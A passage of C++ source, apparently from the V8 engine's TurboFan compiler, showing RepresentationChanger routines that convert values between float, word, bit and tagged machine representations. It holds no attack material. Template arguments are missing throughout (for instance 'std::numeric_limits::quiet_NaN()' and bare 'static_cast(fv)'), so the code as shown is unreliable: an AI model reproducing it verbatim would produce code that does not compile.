output_rep, output_type, MachineRepresentation::kTagged); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kTagged); } return jsgraph()->graph()->NewNode(op, node); } Node* RepresentationChanger::GetFloat32RepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Truncation truncation) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kNumberConstant: return jsgraph()->Float32Constant( DoubleToFloat32(OpParameter(node->op()))); case IrOpcode::kInt32Constant: case IrOpcode::kFloat64Constant: case IrOpcode::kFloat32Constant: UNREACHABLE(); default: break; } // Select the correct X -> Float32 operator. const Operator* op = nullptr; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kFloat32), node); } else if (IsWord(output_rep)) { if (output_type.Is(Type::Signed32())) { // int32 -> float64 -> float32 op = machine()->ChangeInt32ToFloat64(); node = jsgraph()->graph()->NewNode(op, node); op = machine()->TruncateFloat64ToFloat32(); } else if (output_type.Is(Type::Unsigned32()) || truncation.IsUsedAsWord32()) { // Either the output is uint32 or the uses only care about the // low 32 bits (so we can pick uint32 safely). // uint32 -> float64 -> float32 op = machine()->ChangeUint32ToFloat64(); node = jsgraph()->graph()->NewNode(op, node); op = machine()->TruncateFloat64ToFloat32(); } } else if (IsAnyTagged(output_rep)) { if (output_type.Is(Type::NumberOrOddball())) { // tagged -> float64 -> float32 if (output_type.Is(Type::Number())) { op = simplified()->ChangeTaggedToFloat64(); } else { op = simplified()->TruncateTaggedToFloat64(); } node = jsgraph()->graph()->NewNode(op, node); op = machine()->TruncateFloat64ToFloat32(); } } else if (output_rep == MachineRepresentation::kFloat64) { op = machine()->TruncateFloat64ToFloat32(); } else if (output_rep == MachineRepresentation::kWord64) { if (output_type.Is(cache_->kSafeInteger)) { // int64 -> float64 -> float32 op = machine()->ChangeInt64ToFloat64(); node = jsgraph()->graph()->NewNode(op, node); op = machine()->TruncateFloat64ToFloat32(); } } if (op == nullptr) { return TypeError(node, output_rep, output_type, MachineRepresentation::kFloat32); } return jsgraph()->graph()->NewNode(op, node); } Node* RepresentationChanger::GetFloat64RepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info) { NumberMatcher m(node); if (m.HasResolvedValue()) { // BigInts are not used as number constants. DCHECK(use_info.type_check() != TypeCheckKind::kBigInt); switch (use_info.type_check()) { case TypeCheckKind::kNone: case TypeCheckKind::kNumber: case TypeCheckKind::kNumberOrBoolean: case TypeCheckKind::kNumberOrOddball: return jsgraph()->Float64Constant(m.ResolvedValue()); case TypeCheckKind::kBigInt: case TypeCheckKind::kHeapObject: case TypeCheckKind::kSigned32: case TypeCheckKind::kSigned64: case TypeCheckKind::kSignedSmall: case TypeCheckKind::kArrayIndex: break; } } // Select the correct X -> Float64 operator. const Operator* op = nullptr; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kFloat64), node); } else if (IsWord(output_rep)) { if (output_type.Is(Type::Signed32()) || (output_type.Is(Type::Signed32OrMinusZero()) && use_info.truncation().IdentifiesZeroAndMinusZero())) { op = machine()->ChangeInt32ToFloat64(); } else if (output_type.Is(Type::Unsigned32()) || (output_type.Is(Type::Unsigned32OrMinusZero()) && use_info.truncation().IdentifiesZeroAndMinusZero()) || use_info.truncation().IsUsedAsWord32()) { // Either the output is uint32 or the uses only care about the // low 32 bits (so we can pick uint32 safely). op = machine()->ChangeUint32ToFloat64(); } } else if (output_rep == MachineRepresentation::kBit) { CHECK(output_type.Is(Type::Boolean())); if (use_info.truncation().TruncatesOddballAndBigIntToNumber() || use_info.type_check() == TypeCheckKind::kNumberOrBoolean || use_info.type_check() == TypeCheckKind::kNumberOrOddball) { op = machine()->ChangeUint32ToFloat64(); } else { CHECK_NE(use_info.type_check(), TypeCheckKind::kNone); Node* unreachable = InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotAHeapNumber); return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kFloat64), unreachable); } } else if (IsAnyTagged(output_rep)) { if (output_type.Is(Type::Undefined())) { if (use_info.type_check() == TypeCheckKind::kNumberOrBoolean) { Node* unreachable = InsertUnconditionalDeopt( use_node, DeoptimizeReason::kNotANumberOrBoolean); return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kFloat64), unreachable); } else { return jsgraph()->Float64Constant( std::numeric_limits::quiet_NaN()); } } else if (output_rep == MachineRepresentation::kTaggedSigned) { node = InsertChangeTaggedSignedToInt32(node); op = machine()->ChangeInt32ToFloat64(); } else if (output_type.Is(Type::Number())) { op = simplified()->ChangeTaggedToFloat64(); } else if ((output_type.Is(Type::NumberOrOddball()) && use_info.truncation().TruncatesOddballAndBigIntToNumber()) || output_type.Is(Type::NumberOrHole())) { // JavaScript 'null' is an Oddball that results in +0 when truncated to // Number. In a context like -0 == null, which must evaluate to false, // this truncation must not happen. For this reason we restrict this case // to when either the user explicitly requested a float (and thus wants // +0 if null is the input) or we know from the types that the input can // only be Number | Hole. The latter is necessary to handle the operator // CheckFloat64Hole. We did not put in the type (Number | Oddball \ Null) // to discover more bugs related to this conversion via crashes. op = simplified()->TruncateTaggedToFloat64(); } else if (use_info.type_check() == TypeCheckKind::kNumber || (use_info.type_check() == TypeCheckKind::kNumberOrOddball && !output_type.Maybe(Type::BooleanOrNullOrNumber()))) { op = simplified()->CheckedTaggedToFloat64(CheckTaggedInputMode::kNumber, use_info.feedback()); } else if (use_info.type_check() == TypeCheckKind::kNumberOrBoolean) { op = simplified()->CheckedTaggedToFloat64( CheckTaggedInputMode::kNumberOrBoolean, use_info.feedback()); } else if (use_info.type_check() == TypeCheckKind::kNumberOrOddball) { op = simplified()->CheckedTaggedToFloat64( CheckTaggedInputMode::kNumberOrOddball, use_info.feedback()); } } else if (output_rep == MachineRepresentation::kFloat32) { op = machine()->ChangeFloat32ToFloat64(); } else if (output_rep == MachineRepresentation::kWord64) { if (output_type.Is(cache_->kSafeInteger)) { op = machine()->ChangeInt64ToFloat64(); } } if (op == nullptr) { return TypeError(node, output_rep, output_type, MachineRepresentation::kFloat64); } return InsertConversion(node, op, use_node); } Node* RepresentationChanger::MakeTruncatedInt32Constant(double value) { return jsgraph()->Int32Constant(DoubleToInt32(value)); } Node* RepresentationChanger::InsertUnconditionalDeopt(Node* node, DeoptimizeReason reason) { Node* effect = NodeProperties::GetEffectInput(node); Node* control = NodeProperties::GetControlInput(node); effect = jsgraph()->graph()->NewNode(simplified()->CheckIf(reason), jsgraph()->Int32Constant(0), effect, control); Node* unreachable = effect = jsgraph()->graph()->NewNode( jsgraph()->common()->Unreachable(), effect, control); NodeProperties::ReplaceEffectInput(node, effect); return unreachable; } Node* RepresentationChanger::GetWord32RepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kInt32Constant: case IrOpcode::kInt64Constant: case IrOpcode::kFloat32Constant: case IrOpcode::kFloat64Constant: UNREACHABLE(); case IrOpcode::kNumberConstant: { double const fv = OpParameter(node->op()); if (use_info.type_check() == TypeCheckKind::kNone || ((use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32 || use_info.type_check() == TypeCheckKind::kNumber || use_info.type_check() == TypeCheckKind::kNumberOrOddball || use_info.type_check() == TypeCheckKind::kArrayIndex) && IsInt32Double(fv))) { return MakeTruncatedInt32Constant(fv); } break; } default: break; } // Select the correct X -> Word32 operator. const Operator* op = nullptr; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kWord32), node); } else if (output_rep == MachineRepresentation::kBit) { CHECK(output_type.Is(Type::Boolean())); if (use_info.truncation().IsUsedAsWord32()) { return node; } else { CHECK(Truncation::Any(kIdentifyZeros) .IsLessGeneralThan(use_info.truncation())); CHECK_NE(use_info.type_check(), TypeCheckKind::kNone); CHECK_NE(use_info.type_check(), TypeCheckKind::kNumberOrOddball); Node* unreachable = InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotASmi); return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kWord32), unreachable); } } else if (output_rep == MachineRepresentation::kFloat64) { if (output_type.Is(Type::Signed32())) { op = machine()->ChangeFloat64ToInt32(); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32 || use_info.type_check() == TypeCheckKind::kArrayIndex) { op = simplified()->CheckedFloat64ToInt32( output_type.Maybe(Type::MinusZero()) ? use_info.minus_zero_check() : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback()); } else if (output_type.Is(Type::Unsigned32())) { op = machine()->ChangeFloat64ToUint32(); } else if (use_info.truncation().IsUsedAsWord32()) { op = machine()->TruncateFloat64ToWord32(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } } else if (output_rep == MachineRepresentation::kFloat32) { node = InsertChangeFloat32ToFloat64(node); // float32 -> float64 -> int32 if (output_type.Is(Type::Signed32())) { op = machine()->ChangeFloat64ToInt32(); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32 || use_info.type_check() == TypeCheckKind::kArrayIndex) { op = simplified()->CheckedFloat64ToInt32( output_type.Maybe(Type::MinusZero()) ? use_info.minus_zero_check() : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback()); } else if (output_type.Is(Type::Unsigned32())) { op = machine()->ChangeFloat64ToUint32(); } else if (use_info.truncation().IsUsedAsWord32()) { op = machine()->TruncateFloat64ToWord32(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } } else if (IsAnyTagged(output_rep)) { if (output_rep == MachineRepresentation::kTaggedSigned && output_type.Is(Type::SignedSmall())) { op = simplified()->ChangeTaggedSignedToInt32(); } else if (output_type.Is(Type::Signed32())) { op = simplified()->ChangeTaggedToInt32(); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall) { op = simplified()->CheckedTaggedSignedToInt32(use_info.feedback()); } else if (use_info.type_check() == TypeCheckKind::kSigned32) { op = simplified()->CheckedTaggedToInt32( output_type.Maybe(Type::MinusZero()) ? use_info.minus_zero_check() : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback()); } else if (use_info.type_check() == TypeCheckKind::kArrayIndex) { op = simplified()->CheckedTaggedToArrayIndex(use_info.feedback()); } else if (output_type.Is(Type::Unsigned32())) { op = simplified()->ChangeTaggedToUint32(); } else if (use_info.truncation().IsUsedAsWord32()) { if (output_type.Is(Type::NumberOrOddball())) { op = simplified()->TruncateTaggedToWord32(); } else if (use_info.type_check() == TypeCheckKind::kNumber) { op = simplified()->CheckedTruncateTaggedToWord32( CheckTaggedInputMode::kNumber, use_info.feedback()); } else if (use_info.type_check() == TypeCheckKind::kNumberOrOddball) { op = simplified()->CheckedTruncateTaggedToWord32( CheckTaggedInputMode::kNumberOrOddball, use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } } else if (output_rep == MachineRepresentation::kWord32) { // Only the checked case should get here, the non-checked case is // handled in GetRepresentationFor. if (use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32 || use_info.type_check() == TypeCheckKind::kArrayIndex) { bool identify_zeros = use_info.truncation().IdentifiesZeroAndMinusZero(); if (output_type.Is(Type::Signed32()) || (identify_zeros && output_type.Is(Type::Signed32OrMinusZero()))) { return node; } else if (output_type.Is(Type::Unsigned32()) || (identify_zeros && output_type.Is(Type::Unsigned32OrMinusZero()))) { op = simplified()->CheckedUint32ToInt32(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } } else if (use_info.type_check() == TypeCheckKind::kNumber || use_info.type_check() == TypeCheckKind::kNumberOrOddball) { return node; } } else if (output_rep == MachineRepresentation::kWord8 || output_rep == MachineRepresentation::kWord16) { DCHECK_EQ(MachineRepresentation::kWord32, use_info.representation()); DCHECK(use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32); return node; } else if (output_rep == MachineRepresentation::kWord64) { if (output_type.Is(Type::Signed32()) || output_type.Is(Type::Unsigned32())) { op = machine()->TruncateInt64ToInt32(); } else if (output_type.Is(cache_->kSafeInteger) && use_info.truncation().IsUsedAsWord32()) { op = machine()->TruncateInt64ToInt32(); } else if (use_info.type_check() == TypeCheckKind::kSignedSmall || use_info.type_check() == TypeCheckKind::kSigned32 || use_info.type_check() == TypeCheckKind::kArrayIndex) { if (output_type.Is(cache_->kPositiveSafeInteger)) { op = simplified()->CheckedUint64ToInt32(use_info.feedback()); } else if (output_type.Is(cache_->kSafeInteger)) { op = simplified()->CheckedInt64ToInt32(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } } if (op == nullptr) { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord32); } return InsertConversion(node, op, use_node); } Node* RepresentationChanger::InsertConversion(Node* node, const Operator* op, Node* use_node) { if (op->ControlInputCount() > 0) { // If the operator can deoptimize (which means it has control // input), we need to connect it to the effect and control chains. Node* effect = NodeProperties::GetEffectInput(use_node); Node* control = NodeProperties::GetControlInput(use_node); Node* conversion = jsgraph()->graph()->NewNode(op, node, effect, control); NodeProperties::ReplaceEffectInput(use_node, conversion); return conversion; } return jsgraph()->graph()->NewNode(op, node); } Node* RepresentationChanger::GetBitRepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kHeapConstant: { HeapObjectMatcher m(node); if (m.Is(factory()->false_value())) { return jsgraph()->Int32Constant(0); } else if (m.Is(factory()->true_value())) { return jsgraph()->Int32Constant(1); } break; } default: break; } // Select the correct X -> Bit operator. const Operator* op; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kBit), node); } else if (output_rep == MachineRepresentation::kTagged || output_rep == MachineRepresentation::kTaggedPointer) { if (output_type.Is(Type::BooleanOrNullOrUndefined())) { // true is the only trueish Oddball. op = simplified()->ChangeTaggedToBit(); } else { if (output_rep == MachineRepresentation::kTagged && output_type.Maybe(Type::SignedSmall())) { op = simplified()->TruncateTaggedToBit(); } else { // The {output_type} either doesn't include the Smi range, // or the {output_rep} is known to be TaggedPointer. op = simplified()->TruncateTaggedPointerToBit(); } } } else if (output_rep == MachineRepresentation::kTaggedSigned) { if (COMPRESS_POINTERS_BOOL) { node = jsgraph()->graph()->NewNode(machine()->Word32Equal(), node, jsgraph()->Int32Constant(0)); } else { node = jsgraph()->graph()->NewNode(machine()->WordEqual(), node, jsgraph()->IntPtrConstant(0)); } return jsgraph()->graph()->NewNode(machine()->Word32Equal(), node, jsgraph()->Int32Constant(0)); } else if (IsWord(output_rep)) { node = jsgraph()->graph()->NewNode(machine()->Word32Equal(), node, jsgraph()->Int32Constant(0)); return jsgraph()->graph()->NewNode(machine()->Word32Equal(), node, jsgraph()->Int32Constant(0)); } else if (output_rep == MachineRepresentation::kWord64) { node = jsgraph()->graph()->NewNode(machine()->Word64Equal(), node, jsgraph()->Int64Constant(0)); return jsgraph()->graph()->NewNode(machine()->Word32Equal(), node, jsgraph()->Int32Constant(0)); } else if (output_rep == MachineRepresentation::kFloat32) { node = jsgraph()->graph()->NewNode(machine()->Float32Abs(), node); return jsgraph()->graph()->NewNode(machine()->Float32LessThan(), jsgraph()->Float32Constant(0.0), node); } else if (output_rep == MachineRepresentation::kFloat64) { node = jsgraph()->graph()->NewNode(machine()->Float64Abs(), node); return jsgraph()->graph()->NewNode(machine()->Float64LessThan(), jsgraph()->Float64Constant(0.0), node); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kBit); } return jsgraph()->graph()->NewNode(op, node); } Node* RepresentationChanger::GetWord64RepresentationFor( Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info) { // Eagerly fold representation changes for constants. switch (node->opcode()) { case IrOpcode::kInt32Constant: case IrOpcode::kInt64Constant: case IrOpcode::kFloat32Constant: case IrOpcode::kFloat64Constant: UNREACHABLE(); case IrOpcode::kNumberConstant: { if (use_info.type_check() != TypeCheckKind::kBigInt) { double const fv = OpParameter(node->op()); using limits = std::numeric_limits; if (fv <= limits::max() && fv >= limits::min()) { int64_t const iv = static_cast(fv); if (static_cast(iv) == fv) { return jsgraph()->Int64Constant(iv); } } } break; } case IrOpcode::kHeapConstant: { HeapObjectMatcher m(node); if (m.HasResolvedValue() && m.Ref(broker_).IsBigInt() && use_info.truncation().IsUsedAsWord64()) { auto bigint = m.Ref(broker_).AsBigInt(); return jsgraph()->Int64Constant( static_cast(bigint.AsUint64())); } break; } default: break; } if (use_info.type_check() == TypeCheckKind::kBigInt) { // BigInts are only represented as tagged pointer and word64. if (!CanBeTaggedPointer(output_rep) && output_rep != MachineRepresentation::kWord64) { DCHECK(!output_type.Equals(Type::BigInt())); Node* unreachable = InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotABigInt); return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kWord64), unreachable); } } // Select the correct X -> Word64 operator. const Operator* op; if (output_type.Is(Type::None())) { // This is an impossible value; it should not be used at runtime. return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kWord64), node); } else if (output_rep == MachineRepresentation::kBit) { CHECK(output_type.Is(Type::Boolean())); CHECK_NE(use_info.type_check(), TypeCheckKind::kNone); CHECK_NE(use_info.type_check(), TypeCheckKind::kNumberOrOddball); CHECK_NE(use_info.type_check(), TypeCheckKind::kBigInt); Node* unreachable = InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotASmi); return jsgraph()->graph()->NewNode( jsgraph()->common()->DeadValue(MachineRepresentation::kWord64), unreachable); } else if (IsWord(output_rep)) { if (output_type.Is(Type::Unsigned32OrMinusZero())) { // uint32 -> uint64 CHECK_IMPLIES(output_type.Maybe(Type::MinusZero()), use_info.truncation().IdentifiesZeroAndMinusZero()); op = machine()->ChangeUint32ToUint64(); } else if (output_type.Is(Type::Signed32OrMinusZero())) { // int32 -> int64 CHECK_IMPLIES(output_type.Maybe(Type::MinusZero()), use_info.truncation().IdentifiesZeroAndMinusZero()); op = machine()->ChangeInt32ToInt64(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord64); } } else if (output_rep == MachineRepresentation::kFloat32) { if (output_type.Is(cache_->kInt64)) { // float32 -> float64 -> int64 node = InsertChangeFloat32ToFloat64(node); op = machine()->ChangeFloat64ToInt64(); } else if (output_type.Is(cache_->kUint64)) { // float32 -> float64 -> uint64 node = InsertChangeFloat32ToFloat64(node); op = machine()->ChangeFloat64ToUint64(); } else if (use_info.type_check() == TypeCheckKind::kSigned64 || use_info.type_check() == TypeCheckKind::kArrayIndex) { // float32 -> float64 -> int64 node = InsertChangeFloat32ToFloat64(node); op = simplified()->CheckedFloat64ToInt64( output_type.Maybe(Type::MinusZero()) ? use_info.minus_zero_check() : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord64); } } else if (output_rep == MachineRepresentation::kFloat64) { if (output_type.Is(cache_->kInt64)) { op = machine()->ChangeFloat64ToInt64(); } else if (output_type.Is(cache_->kUint64)) { op = machine()->ChangeFloat64ToUint64(); } else if (use_info.type_check() == TypeCheckKind::kSigned64 || use_info.type_check() == TypeCheckKind::kArrayIndex) { op = simplified()->CheckedFloat64ToInt64( output_type.Maybe(Type::MinusZero()) ? use_info.minus_zero_check() : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord64); } } else if (output_rep == MachineRepresentation::kTaggedSigned) { if (output_type.Is(Type::SignedSmall())) { op = simplified()->ChangeTaggedSignedToInt64(); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord64); } } else if (IsAnyTagged(output_rep) && use_info.truncation().IsUsedAsWord64() && (use_info.type_check() == TypeCheckKind::kBigInt || output_type.Is(Type::BigInt()))) { node = GetTaggedPointerRepresentationFor(node, output_rep, output_type, use_node, use_info); op = simplified()->TruncateBigIntToUint64(); } else if (CanBeTaggedPointer(output_rep)) { if (output_type.Is(cache_->kInt64)) { op = simplified()->ChangeTaggedToInt64(); } else if (use_info.type_check() == TypeCheckKind::kSigned64) { op = simplified()->CheckedTaggedToInt64( output_type.Maybe(Type::MinusZero()) ? use_info.minus_zero_check() : CheckForMinusZeroMode::kDontCheckForMinusZero, use_info.feedback()); } else if (use_info.type_check() == TypeCheckKind::kArrayIndex) { op = simplified()->CheckedTaggedToArrayIndex(use_info.feedback()); } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord64); } } else if (output_rep == MachineRepresentation::kWord64) { DCHECK_EQ(use_info.type_check(), TypeCheckKind::kBigInt); if (output_type.Is(Type::BigInt())) { return node; } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord64); } } else { return TypeError(node, output_rep, output_type, MachineRepresentation::kWord64); } return InsertConversion(node, op, use_node); } const Operator* RepresentationChanger::Int32OperatorFor( IrOpcode::Value opcode) { switch (opcode) { case IrOpcode::kSpeculativeNumberAdd: // Fall through. case IrOpcode::kSpeculativeSafeIntegerAdd: case IrOpcode::kNumberAdd: return machine()->Int32Add(); case IrOpcode::kSpeculativeNumberSubtract: // Fall through. case IrOpcode::kSpeculativeSafeIntegerSubtract: case IrOpcode::kNumberSubtract: return machine()->Int32Sub(); case IrOpcode::kSpeculativeNumberMultiply: case IrOpcode::kNumberMultiply: return machine()->Int32Mul(); case IrOpcode::kSpeculativeNumberDivide: case IrOpcode::kNumberDivide: return machine()->Int32Div(); case IrOpcode::kSpeculativeNumberModulus: case IrOpcode::kNumberModulus: return machine()->Int32Mod(); case IrOpcode::kSpeculativeNumberBitwiseOr: // Fall through. case IrOpcode::kNumberBitwiseOr: return machine()->Word32Or(); case IrOpcode::kSpeculativeNumberBitwiseXor: // Fall through. case IrOpcode::kNumberBitwiseXor: return machine()->Word32Xor(); case IrOpcode::kSpeculativeNumberBitwiseAnd: // Fall through. case IrOpcode::kNumberBitwiseAnd: return machine()->Word32And(); case IrOpcode::kNumberEqual: case IrOpcode::kSpeculativeNumberEqual: return machine()->Word32Equal(); case IrOpcode::kNumberLessThan: case IrOpcode::kSpeculativeNumberLessThan: return machine()->Int32LessThan(); case IrOpcode::kNumberLessThanOrEqual: case IrOpcode::kSpeculativeNumberLessThanOrEqual: return machine()->Int32LessThanOrEqual(); default: UNREACHABLE(); } } const Operator* RepresentationChanger::Int32OverflowOperatorFor( IrOpcode::Value opcode) { switch (opcode) { case IrOpcode::kSpeculativeSafeIntegerAdd: return simplified()->CheckedInt32Add(); case IrOpcode::kSpeculativeSafeIntegerSubtract: return simplified()->CheckedInt32Sub(); case IrOpcode::kSpeculativeNumberDivide: return simplified()->CheckedInt32Div(); case IrOpcode::kSpeculativeNumberModulus: return simplified()->CheckedInt32Mod(); default: UNREACHABLE(); } } const Operator* RepresentationChanger::Int64OperatorFor( IrOpcode::Value opcode) { switch (opcode) { case IrOpcode::kSpeculativeNumberAdd: // Fall through. case IrOpcode::kSpeculativeSafeIntegerAdd: case IrOpcode::kNumberAdd: return machine()->Int64Add(); case IrOpcode::kSpeculativeNumberSubtract: // Fall through. case IrOpcode::kSpeculativeSafeIntegerSubtract: case IrOpcode::kNumberSubtract: return machine()->Int64Sub(); default: UNREACHABLE(); } } const Operator* RepresentationChanger::TaggedSignedOperatorFor( IrOpcode::Value opcode) { switch (opcode) { case IrOpcode::kSpeculativeNumberLessThan: return (COMPRESS_POINTERS_BOOL || machine()->Is32()) ? machine()->Int32LessThan() : machine()->Int64LessThan(); case IrOpcode::kSpeculativeNumberLessThanOrEqual: return (COMPRESS_POINTERS_BOOL || machine()->Is32()) ? machine()->Int32LessThanOrEqual() : machine()->Int64LessThanOrEqual(); case IrOpcode::kSpeculativeNumberEqual: return (COMPRESS_POINTERS_BOOL || machine()->Is32()) ? machine()->Word32Equal() : machine()->Word64Equal(); default: UNREACHABLE(); } } const Operator* RepresentationChanger::Uint32OperatorFor( IrOpcode::Value opcode) { switch (opcode) { case IrOpcode::kNumberAdd: return machine()->Int32Add(); case IrOpcode::kNumberSubtract: return machine()->Int32Sub(); case IrOpcode::kSpeculativeNumberMultiply: case IrOpcode::kNumberMultiply: return machine()->Int32Mul(); case IrOpcode::kSpeculativeNumberDivide: case IrOpcode::kNumberDivide: return machine()->Uint32Div(); case IrOpcode::kSpeculativeNumberModulus: case IrOpcode::kNumberModulus: return machine()->Uint32Mod(); case IrOpcode::kNumberEqual: case IrOpcode::kSpeculativeNumberEqual: return machine()->Word32Equal(); case IrOpcode::kNumberLessThan: case IrOpcode::kSpeculativeNumberLessThan: return machine()->Uint32LessThan(); case IrOpcode::kNumberLessThanOrEqual: case IrOpcode::kSpeculativeNumberLessThanOrEqual: return machine()->Uint32LessThanOrEqual(); case IrOpcode::kNumberClz32: return machine()->Word32Clz(); case IrOpcode::kNumberImul: return machine()->Int32Mul(); default: UNREACHABLE(); } } const Operator* RepresentationChanger::Uint32OverflowOperatorFor( IrOpcode::Value opcode) { switch (opcode) { case IrOpcode::kSpeculativeNumberDivide: return simplified()->CheckedUint32Div(); case IrOpcode::kSpeculativeNumberModulus: return simplified()->CheckedUint32Mod(); default: UNREACHABLE(); } } const Operator* RepresentationChanger::Float64OperatorFor( IrOpcode::Value opcode) { switch (opcode) { case IrOpcode::kSpeculativeNumberAdd: case IrOpcode::kSpeculativeSafeIntegerAdd: case IrOpcode::kNumberAdd: return machine()->Float64Add(); case IrOpcode::kSpeculativeNumberSubtract: case IrOpcode::kSpeculativeSafeIntegerSubtract: case IrOpcode::kNumberSubtract: return machine()->Float64Sub(); case IrOpcode::kSpeculativeNumberMultiply: case IrOpcode::kNumberMultiply: return machine()->Float64Mul(); case IrOpcode::kSpeculativeNumberDivide: case IrOpcode::kNumberDivide: return machine()->Float64Div(); case IrOpcode::kSpeculativeNumberModulus: case IrOpcode::kNumberModulus: return machine()->Float64Mod(); case IrOpcode::kNumberEqual: case IrOpcode::kSpeculativeNumberEqual: return machine()->Float64Equal(); case IrOpcode::kNumberLessThan: case IrOpcode::kSpeculativeNumberLessThan: return machine()->Float64LessThan(); case IrOpcode::kNumberLessThanOrEqual: case IrOpcode::kSpeculativeNumberLessThanOrEqual: return machine()->Float64LessThanOrEqual(); case IrOpcode::kNumberAbs: return machine()->Float64Abs(); case IrOpcode::kNumberAcos: return machine()->Float64Acos(); case IrOpcode::kNumberAcosh: return machine()->Float64Acosh(); case IrOpcode::kNumberAsin: return machine()->Float64Asin(); case IrOpcode::kNumberAsinh: return machine()->Float64Asinh(); case IrOpcode::kNumberAtan: return machine()->Float64Atan(); case IrOpcode::kNumberAtanh: return machine()->Float64Atanh(); case IrOpcode::kNumberAtan2: return machine()->Float64Atan2(); case IrOpcode::kNumberCbrt: return machine()->Float64Cbrt(); case IrOpcode::kNumberCeil: return machine()->Float64RoundUp().placeholder(); case IrOpcode::kNumberCos: return machine()->Float64Cos(); case IrOpcode::kNumberCosh: return machine()->Float64Cosh(); case IrOpcode::kNumberExp: return machine()->Float64Exp(); case IrOpcode::kNumberExpm1: return machine()->Float64Expm1(); case IrOpcode::kNumberFloor: return machine()->Float64RoundDown().placeholder(); case IrOpcode::kNumberFround: return machine()->TruncateFloat64ToFloat32(); case IrOpcode::kNumberLog: return machine()->Float64Log(); case IrOpcode::kNumberLog1p: return machine()->Float64Log1p(); case IrOpcode::kNumberLog2: return machine()->Float64Log2(); case IrOpcode::kNumberLog10: return machine()->Float64Log10(); case IrOpcode::kNumberMax: return machine()->Float64Max(); case IrOpcode::kNumberMin: return machine()->Float64Min(); case IrOpcode::kNumberPow: return machine()->Float64Pow(); case IrOpcode::kNumberSin: return machine()->Float64Sin(); case IrOpcode::kNumberSinh: return machine()->Float64Sinh(); case IrOpcode::kNumberSqrt: return machine()->Float64Sqrt(); case IrOpcode::kNumberTan: return machine()->Float64Tan(); case IrOpcode::kNumberTanh: return machine()->Float64Tanh(); case IrOpcode::kNumberTrunc: return machine()->Float64RoundTruncate().placeholder(); case IrOpcode::kNumberSilenceNaN: return machine()->Float64SilenceNaN(); default: UNREACHABLE(); } } Node* RepresentationChanger::TypeError(Node* node, MachineRepresentation output_rep, Type output_type, MachineRepresentation use) { type_error_ = true; if (!testing_type_errors_) { std::ostringstream out_str; out_str << output_rep << " ("; output_type.PrintTo(out_str); out_str << ")"; std::ostringstream use_str; use_str << use; FATAL( "RepresentationChangerError: node #%d:%s of " "%s cannot be changed to %s", node->id(), node->op()->mnemonic(), out_str.str().c_str(), use_str.str().c_str()); } return node; } Node* RepresentationChanger::InsertChangeBitToTagged(Node* node) { return jsgraph()->graph()->NewNode(simplified()->ChangeBitToTagged(), node); } Node* RepresentationChanger::InsertChangeFloat32ToFloat64(Node* node) { return jsgraph()->graph()->NewNode(machine()->ChangeFloat32ToFloat64(), node); } Node* RepresentationChanger::InsertChangeFloat64ToUint32(Node* node) { return jsgraph()->graph()->NewNode(machine()->ChangeFloat64ToUint32(), node); } Node* RepresentationChanger::InsertChangeFloat64ToInt32(Node* node) { return 